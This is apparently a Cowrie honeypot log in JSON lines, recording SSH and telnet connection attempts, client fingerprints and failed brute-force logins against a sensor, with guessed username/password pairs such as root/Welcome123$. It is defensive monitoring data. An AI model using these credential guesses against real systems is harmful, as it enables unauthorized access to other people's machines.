{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44374,"dst_ip":"159.203.135.109","dst_port":23,"session":"317361efbb7d","protocol":"telnet","message":"New connection: 128.199.8.54:44374 (159.203.135.109:23) [session: 317361efbb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:52.385651Z"}
{"eventid":"cowrie.session.closed","duration":0.004181623458862305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:52.389728Z","src_ip":"128.199.8.54","session":"317361efbb7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":33729,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc32f425ccf7","protocol":"ssh","message":"New connection: 102.88.137.80:33729 (10.17.0.5:22) [session: cc32f425ccf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:53.849006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:53.853298Z","src_ip":"102.88.137.80","session":"cc32f425ccf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:54.035545Z","src_ip":"102.88.137.80","session":"cc32f425ccf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa1314520","message":"login attempt [root/aa1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:54.798253Z","src_ip":"102.88.137.80","session":"cc32f425ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:55.989153Z","src_ip":"102.88.137.80","session":"cc32f425ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.276320457458496,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:56.824739Z","src_ip":"128.199.8.54","session":"3cf16659f791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.9911527633667,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:07.275454Z","src_ip":"128.199.8.54","session":"f5c36e4a24f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":37328,"dst_ip":"10.17.0.5","dst_port":22,"session":"41563eb3d43b","protocol":"ssh","message":"New connection: 79.104.0.82:37328 (10.17.0.5:22) [session: 41563eb3d43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:08.778965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:08.783443Z","src_ip":"79.104.0.82","session":"41563eb3d43b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:08.927870Z","src_ip":"79.104.0.82","session":"41563eb3d43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmail","password":"dmail","message":"login attempt [dmail/dmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:09.536874Z","src_ip":"79.104.0.82","session":"41563eb3d43b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:10.687123Z","src_ip":"79.104.0.82","session":"41563eb3d43b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":53982,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a7e8b61823","protocol":"ssh","message":"New connection: 76.79.213.69:53982 (10.17.0.5:22) [session: b9a7e8b61823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:14.754818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:14.758930Z","src_ip":"76.79.213.69","session":"b9a7e8b61823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:14.881176Z","src_ip":"76.79.213.69","session":"b9a7e8b61823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"james","password":"jamesjames","message":"login attempt [james/jamesjames] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:15.406224Z","src_ip":"76.79.213.69","session":"b9a7e8b61823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:16.531390Z","src_ip":"76.79.213.69","session":"b9a7e8b61823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47354,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab4409356f9","protocol":"telnet","message":"New connection: 172.81.62.90:47354 (159.203.135.109:23) [session: bab4409356f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:30.235466Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"11cad91c911f","protocol":"ssh","message":"New connection: 217.168.240.63:38236 (159.203.135.109:22) [session: 11cad91c911f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:30.607544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:30.611934Z","src_ip":"217.168.240.63","session":"11cad91c911f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:30.750173Z","src_ip":"217.168.240.63","session":"11cad91c911f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1qaz2wsx","message":"login attempt [myuser/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:31.327651Z","src_ip":"217.168.240.63","session":"11cad91c911f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:32.466634Z","src_ip":"217.168.240.63","session":"11cad91c911f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41392,"dst_ip":"159.203.135.109","dst_port":22,"session":"3edd61bb3447","protocol":"ssh","message":"New connection: 27.71.230.31:41392 (159.203.135.109:22) [session: 3edd61bb3447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:33.780643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:33.875715Z","src_ip":"27.71.230.31","session":"3edd61bb3447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:35.418021Z","src_ip":"27.71.230.31","session":"3edd61bb3447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42552,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e0805ab538","protocol":"ssh","message":"New connection: 80.66.85.226:42552 (10.17.0.5:22) [session: 92e0805ab538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:38.544546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:38.550561Z","src_ip":"80.66.85.226","session":"92e0805ab538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:38.639746Z","src_ip":"80.66.85.226","session":"92e0805ab538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"invisible","message":"login attempt [root/invisible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:38.907572Z","src_ip":"80.66.85.226","session":"92e0805ab538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:39.998621Z","src_ip":"80.66.85.226","session":"92e0805ab538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":48058,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ed39055f4d5","protocol":"ssh","message":"New connection: 101.47.159.125:48058 (159.203.135.109:22) [session: 5ed39055f4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:43.885557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:43.888798Z","src_ip":"101.47.159.125","session":"5ed39055f4d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:44.136331Z","src_ip":"101.47.159.125","session":"5ed39055f4d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Test","password":"Test123","message":"login attempt [Test/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:45.162694Z","src_ip":"101.47.159.125","session":"5ed39055f4d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123$","message":"login attempt [root/Welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:45.481471Z","src_ip":"27.71.230.31","session":"3edd61bb3447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:46.412866Z","src_ip":"101.47.159.125","session":"5ed39055f4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":33589,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de57ecdb508","protocol":"ssh","message":"New connection: 102.88.137.80:33589 (10.17.0.5:22) [session: 3de57ecdb508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:46.690259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:46.694012Z","src_ip":"102.88.137.80","session":"3de57ecdb508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:46.874073Z","src_ip":"102.88.137.80","session":"3de57ecdb508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:47.084752Z","src_ip":"27.71.230.31","session":"3edd61bb3447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"qwerty","message":"login attempt [proxyuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:47.633248Z","src_ip":"102.88.137.80","session":"3de57ecdb508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:48.817865Z","src_ip":"102.88.137.80","session":"3de57ecdb508","protocol":"ssh"}
